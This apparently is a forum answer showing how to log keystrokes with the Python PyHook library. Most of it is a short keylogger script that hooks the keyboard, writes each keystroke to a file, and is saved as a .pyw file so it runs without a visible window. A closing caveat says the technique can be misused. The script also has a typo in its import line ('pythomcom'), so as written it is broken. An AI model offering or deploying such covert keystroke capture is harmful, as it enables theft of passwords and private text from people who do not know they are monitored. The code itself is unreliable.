As mentioned earlier, you can use the PyHook library that monitors user activity through your keyboard inputs or mouse.
I bumped into a video that shows an effective example of saving keyboard inputs silently using PyHook:
import pyHook, pythomcom, sys, logging
file_log='C:\important\log.txt' #Define onde as entradas serão salvas
def OnKeyboardEvent(event): #Configurações do log
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
The code may be a bit 'old' but it is a clear example of how such functionality would be.
For the script to work silently in fact it needs to be saved in format pyw which causes it to execute without opening an execution screen.
NOTE: In the cited video it is said that such technique can be used in a malicious way so use it in a conscious way.